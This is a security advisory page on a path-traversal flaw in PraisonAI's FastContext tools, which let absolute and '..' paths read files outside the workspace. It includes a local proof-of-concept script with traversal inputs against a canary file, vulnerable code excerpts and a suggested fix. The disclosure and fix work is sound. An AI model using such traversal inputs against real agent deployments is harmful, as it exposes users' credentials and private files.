Back to database
Schedule30MediumVulnerabilityCVE-2026-61432No patch link observed

PraisonAI: FastContext path resolution permits absolute and traversal reads outside the workspace

Published Oct 8, 2026, 04:48 PM UTCIngested 4h agoSource OSV(ghsa)GHSA-4xxv-6wmf-xf45

Description

# FastContext path resolution permits absolute and traversal reads outside the workspace ## Summary PraisonAI's `praisonaiagents.context.fast` FastContext feature treats `workspace_path` as the root directory for code search, but its model-facing search tools and high-level `read_context()` helper accept absolute paths and `..` traversal paths without checking that the resolved path remains under that workspace. A lower-trust prompt or caller that can influence FastContext tool arguments can read, search, and enumerate files outside the intended project workspace; the resulting file content is then returned to the caller or injected into the model's tool-result context. ## Technical Details `FastContextAgent` documents `workspace_path` as the "Root directory for searches" and stores it as an absolute path: ```python class FastContextAgent: """Specialized agent for fast parallel code search. Attributes: workspace_path: Root directory for searches """ def __init__(self, workspace_path: str, ...): self.workspace_path = os.path.abspath(workspace_path) ``` The same class exposes `grep_search`, `glob_search`, `read_file`, and `list_directory` as model function-call tools via `get_tools()`. Those tools are intended to retrieve code context from the configured workspace. The problem is in `FastContextAgent.execute_tool()`. It prepends `workspace_path` only when the caller supplies a relative path, but it does not reject absolute paths and does not canonicalize the joined relative path before enforcing containment: ```python if tool_name in ("grep_search", "glob_search"): if "search_path" not in kwargs or kwargs["search_path"] == ".": kwargs["search_path"] = self.workspace_path elif not os.path.isabs(kwargs["search_path"]): kwargs["search_path"] = os.path.join(self.workspace_path, kwargs["search_path"]) elif tool_name == "list_directory": if "dir_path" not in kwargs or kwargs["dir_path"] == ".": kwargs["dir_path"] = self.workspace_path elif not os.path.isabs(kwargs["dir_path"]): kwargs["dir_path"] = os.path.join(self.workspace_path, kwargs["dir_path"]) elif tool_name == "read_file": if "filepath" in kwargs and not os.path.isabs(kwargs["filepath"]): kwargs["filepath"] = os.path.join(self.workspace_path, kwargs["filepath"]) ``` As a result, an absolute path passes through unchanged, and a relative traversal such as `../outside-secret.txt` is transformed into `<workspace>/../outside-secret.txt`. The downstream search tools then call `os.path.abspath()` and operate on the resolved outside path. The downstream tools do not enforce a FastContext workspace boundary: ```python def grep_search(search_path: str, pattern: str, ...): search_path = os.path.abspath(search_path) ... with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: lines = f.readlines() ``` ```python def read_file(filepath: str, ...): filepath = os.path.abspath(filepath) ... with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: lines = f.readlines() ``` ```python def list_directory(dir_path: str, ...): dir_path = os.path.abspath(dir_path) ... for entry in os.scandir(path): ... ``` The model-backed `FastContextAgent.search()` path is also affected. It sends the FastContext tools to the model, parses model-supplied tool-call JSON, and adds those arguments to a `ToolCallBatch`: ```python response = model_client.chat.completions.create( model=self.model, messages=messages, tools=[{"type": "function", "function": t} for t in self.get_tools()], tool_choice="auto" ) ... args = json.loads(tool_call.function.arguments) batch.add(tool_call.function.name, **args) ... tool_results = self.coordinator.execute_turn_sync(batch) ``` That path bypasses `execute_tool()`'s incomplete workspace-prefixing entirely and sends model-generated paths directly to the raw filesystem search functions through `ParallelSearchCoordinator`. The public high-level API has the same containment gap. `FastContext.read_context()` documents `filepath` as "relative to workspace", joins relative paths with `workspace_path`, and then calls `read_file()` without a resolved-path containment check: ```python def read_context(self, filepath: str, ...): full_path = filepath if not os.path.isabs(filepath): full_path = os.path.join(self.workspace_path, filepath) result = read_file(full_path, ...) ``` This behavior is not required for intended FastContext code search. A normal search through `search_simple()` searches only `self.workspace_path`; the PoV below uses that as the negative control. The vulnerability is that caller/model-controlled path parameters can escape that intended root. ## PoV The following local PoV creates a workspace with one harmless file and an adjacent outside file containing a canary. It then proves that ordinary workspace search does not find the canary, while FastContext path arguments can read, grep, glob, list, and return that outside canary through workspace-scoped APIs. The source-to-sink details above show the same missing containment also affects the model-backed `FastContextAgent.search()` path because it dispatches model-generated path arguments to the same raw search functions. ```python from pathlib import Path from tempfile import TemporaryDirectory from praisonaiagents.context.fast import FastContext from praisonaiagents.context.fast.fast_context_agent import FastContextAgent CANARY = "FAST_CONTEXT_CANARY=outside-workspace" with TemporaryDirectory() as tmp: root = Path(tmp) / "workspace" root.mkdir() (root / "inside.txt").write_text("INSIDE_ONLY=workspace\n") outside = Path(tmp) / "outside-secret.txt" outside.write_text(CANARY + "\n") agent = FastContextAgent(str(root)) assert len(agent.search_simple(CANARY).files) == 0 assert "INSIDE_ONLY=workspace" in agent.execute_tool("read_file", filepath="inside.txt")["content"] assert CANARY in agent.execute_tool("read_file", filepath="../outside-secret.txt")["content"] assert CANARY in agent.execute_tool("read_file", filepath=str(outside))["content"] assert any(CANARY in match["content"] for match in agent.execute_tool("grep_search", search_path="..", pattern=CANARY)) assert any(match["path"] == "outside-secret.txt" for match in agent.execute_tool("glob_search", search_path="..", pattern="*.txt")) assert any(entry["name"] == "outside-secret.txt" for entry in agent.execute_tool("list_directory", dir_path="..")["entries"]) fc = FastContext(workspace_path=str(root), cache_enabled=False) assert CANARY in fc.read_context("../outside-secret.txt") ``` ## PoC Save the self-contained script from the Appendix below as `fastcontext_workspace_pov.py`, then run it against a local checkout: ```bash export PRAISONAI=/path/to/PraisonAI PYTHONPATH="$PRAISONAI/src/praisonai-agents" python fastcontext_workspace_pov.py ``` Expected vulnerable output: ```json { "results": { "absolute_read_discloses_canary": true, "glob_parent_reveals_outside_file": true, "grep_parent_discloses_canary": true, "high_level_read_context_discloses_canary": true, "inside_read_still_works": true, "list_parent_reveals_outside_file": true, "relative_traversal_read_discloses_canary": true, "simple_search_does_not_find_outside_canary": true }, "vulnerable": true } ``` The version sweep sampled the FastContext introduction boundary and current releases: ```text PraisonAI FastContext workspace-boundary version sweep current_main: 1620b49f36945d8cc8ee5635b906c960df5097a0 latest_tag_context: v4.6.63-2-g1620b49f v2.3.9 praisonaiagents=0.0.188 missing fast_context_agent.py v2.3.10 praisonaiagents=0.0.189 missing fast_context_agent.py {"ref": "v2.3.11", "praisonaiagents_version": "0.0.190", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true} {"ref": "v3.8.1", "praisonaiagents_version": "0.11.7", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true} {"ref": "v4.5.149", "praisonaiagents_version": "1.6.8", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true} {"ref": "v4.6.58", "praisonaiagents_version": "1.6.58", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true} {"ref": "v4.6.62", "praisonaiagents_version": "1.6.62", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true} {"ref": "v4.6.63", "praisonaiagents_version": "1.6.63", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true} {"ref": "HEAD", "praisonaiagents_version": "1.6.63", "status": "vulnerable", "relative_traversal_read": true, "absolute_read": true, "grep_parent_read": true, "fast_context_read_context_traversal": true} ``` No external service, live target, or real credential is needed for reproduction. ## Impact If an application exposes FastContext to lower-trust prompts or users, the attacker can cause the PraisonAI process to read files outside the intended workspace and return the contents through tool results or high-level FastContext APIs. Practical impacts include disclosure of source files, logs, prompt transcripts, API keys, local configuration, cloud credentials, and other process-readable text files. `grep_search` can search outside directories for secrets, `glob_search` and `list_directory` can enumerate outside file names and metadata, and `read_file`/`read_context` can return file contents. The demonstrated impact is confidentiality. This report does not claim arbitrary write, code execution, or availability impact. Suggested severity: High for network/API-backed agent deployments where lower-trust prompt content can influence a tool-using FastContext search; Medium if maintainers score only direct local API misuse. A conservative agent-deployment CVSS 3.1 vector is: ```text CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N ``` Relevant CWEs: - CWE-22: Improper Limitation of a Pathname to a Restricted Directory - CWE-200: Exposure of Sensitive Information to an Unauthorized Actor ## Suggested Fix Make FastContext path resolution fail closed around a single workspace-containment helper: 1. Resolve the configured workspace once. 2. For every FastContext path argument, reject absolute paths outside the workspace, join relative paths to the workspace, resolve the candidate, and require `candidate.relative_to(workspace)` to succeed. 3. Apply this helper in `FastContextAgent.execute_tool()` for `grep_search`, `glob_search`, `read_file`, and `list_directory`. 4. Apply the same helper before adding model-generated tool calls to `ToolCallBatch` in `FastContextAgent.search()`. Do not call the raw `search_tools` functions with model-supplied paths. 5. Apply the same helper in `FastContext.read_context()`. 6. Consider making `search_tools.execute_tool()` accept an optional `workspace_path` and enforce containment when used as a workspace-scoped tool dispatcher. 7. Add regression tests for absolute outside paths and `..` traversal in all four FastContext tools, high-level `read_context()`, and the model tool-call execution path. Minimal containment shape: ```python def _resolve_workspace_path(workspace: str, user_path: str) -> str: root = Path(workspace).resolve() candidate = Path(user_path) if not candidate.is_absolute(): candidate = root / candidate resolved = candidate.resolve() try: resolved.relative_to(root) except ValueError as exc: raise PermissionError(f"FastContext path is outside workspace: {user_path}") from exc return str(resolved) ``` ## Affected Package/Versions - Package: `praisonaiagents` - Component: `praisonaiagents.context.fast` - Current main tested: `1620b49f36945d8cc8ee5635b906c960df5097a0` - Current package version in the tested source tree: `1.6.63` - Sampled introduction boundary: absent in repo tags where `praisonaiagents` is `0.0.188` and `0.0.189`; present and vulnerable starting with sampled `0.0.190` - Latest tested release tag: `v4.6.63`, `praisonaiagents` version `1.6.63` Suggested affected range, based on the sampled source sweep: ```text praisonaiagents >= 0.0.190, <= 1.6.63 ``` The exact first released package version should be confirmed by maintainers from the `praisonaiagents.context.fast` release history, but the repository sweep shows the vulnerable FastContext files first present at the sampled `praisonaiagents 0.0.190` point and still vulnerable on current main. ## Advisory History No checked public advisory or local prior report matched the FastContext code-search workspace-boundary bypass in `praisonaiagents.context.fast`. Closest public comparators are related but distinct: - `GHSA-gcq3-mfvh-3x25`: PraisonAI Code agent tools fail open without a workspace boundary. That advisory covers `praisonai` Code `CODE_TOOLS` wrappers and unset workspace defaults for read/edit helpers. This report covers `praisonaiagents.context.fast.FastContextAgent` and `FastContext` with an explicitly configured `workspace_path`; the root cause is missing containment after path joining and raw model tool-call dispatch, not an unset global workspace. - `GHSA-j7qx-p75m-wp7g`: PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage. That advisory covers Dynamic Context artifact tools that accept raw `artifact_path` values. This report covers FastContext code-search/read/list tools and the model-backed FastContext search loop. - `GHSA-22cj-m4wf-fv2c`: PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal. That advisory covers Dynamic Context history/terminal stores where `run_id` and `agent_id` are path components. This report covers FastContext's workspace root and file/search path tool arguments. - `GHSA-grrg-5cg9-58pf` / `CVE-2026-40117`: `read_skill_file()` arbitrary file read due missing workspace boundary and approval gate. This report does not use skill tools. - `GHSA-7j2f-xc8p-fjmq` / `CVE-2026-40152`: legacy `FileTools.list_files()` glob traversal. This report affects FastContext and can disclose file content through `read_file`/`grep_search`, not only metadata through FileTools glob patterns. - `GHSA-693f-pf34-72c5`: FileTools path traversal. This report is in `praisonaiagents.context.fast`, not `praisonaiagents.tools.file_tools`. - `GHSA-9cr9-25q5-8prj` and `GHSA-9mqq-jqxf-grvw`: MCP file/path traversal surfaces. This report does not use MCP. Public issue/PR search found no hits for `FastContext arbitrary file read`, `"Fast Context" workspace boundary`, or `fast_context_agent` in `MervinPraison/PraisonAI`. ## References - PraisonAI Fast Context docs: https://docs.praison.ai/docs/features/fast-context - PraisonAI tools docs, Fast Context section: https://docs.praison.ai/docs/concepts/tools - PraisonAI repository advisories: https://github.com/MervinPraison/PraisonAI/security/advisories - `GHSA-gcq3-mfvh-3x25`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gcq3-mfvh-3x25 - `GHSA-j7qx-p75m-wp7g`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j7qx-p75m-wp7g - `GHSA-22cj-m4wf-fv2c`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-22cj-m4wf-fv2c - `GHSA-grrg-5cg9-58pf`: https://github.com/advisories/GHSA-grrg-5cg9-58pf - `GHSA-7j2f-xc8p-fjmq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7j2f-xc8p-fjmq - CWE-22: https://cwe.mitre.org/data/definitions/22.html - CWE-200: https://cwe.mitre.org/data/definitions/200.html ## Appendix: Self-Contained FastContext Workspace PoC ```python #!/usr/bin/env python3 import json from pathlib import Path from tempfile import TemporaryDirectory from praisonaiagents.context.fast import FastContext from praisonaiagents.context.fast.fast_context_agent import FastContextAgent CANARY = "FAST_CONTEXT_CANARY=outside-workspace" def main() -> None: with TemporaryDirectory(prefix="fastcontext-workspace-pov-") as tmp: temp_root = Path(tmp) workspace = temp_root / "workspace" workspace.mkdir() inside = workspace / "inside.txt" outside = temp_root / "outside-secret.txt" inside.write_text("INSIDE_ONLY=workspace\n", encoding="utf-8") outside.write_text(CANARY + "\n", encoding="utf-8") agent = FastContextAgent(str(workspace), max_turns=2, max_parallel=4) simple_result = agent.search_simple(CANARY) inside_result = agent.execute_tool("read_file", filepath="inside.txt") relative_read = agent.execute_tool("read_file", filepath="../outside-secret.txt") absolute_read = agent.execute_tool("read_file", filepath=str(outside)) grep_parent = agent.execute_tool("grep_search", search_path="..", pattern=CANARY, max_results=5) glob_parent = agent.execute_tool("glob_search", search_path="..", pattern="*.txt", max_results=5) list_parent = agent.execute_tool("list_directory", dir_path="..", max_entries=10) context = FastContext(workspace_path=str(workspace), cache_enabled=False) context_read = context.read_context("../outside-secret.txt") results = { "simple_search_does_not_find_outside_canary": len(simple_result.files) == 0, "inside_read_still_works": "INSIDE_ONLY=workspace" in inside_result.get("content", ""), "relative_traversal_read_discloses_canary": CANARY in relative_read.get("content", ""), "absolute_read_discloses_canary": CANARY in absolute_read.get("content", ""), "grep_parent_discloses_canary": any(CANARY in match.get("content", "") for match in grep_parent), "glob_parent_reveals_outside_file": any(match.get("path") == "outside-secret.txt" for match in glob_parent), "list_parent_reveals_outside_file": any(entry.get("name") == "outside-secret.txt" for entry in list_parent.get("entries", [])), "high_level_read_context_discloses_canary": CANARY in (context_read or ""), } print(json.dumps({"vulnerable": all(results.values()), "results": results}, indent=2, sort_keys=True)) if __name__ == "__main__": main() ```

CVSS v3.1 base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
—

Medium severity

Band computed from the CVSS base score, not the source's own label — so it means the same thing across every feed.

AV

Network

Attack Vector

AC

Low

Attack Complexity

PR

Low

Privileges Required

UI

Required

User Interaction

S

Unchanged

Scope

C

High

Confidentiality

I

None

Integrity

A

None

Availability

Affected

Vendor
PyPI
Product
praisonaiagents

Versions

  • pkg:pypi/praisonaiagents < 1.6.78

Stated as the source expressed them.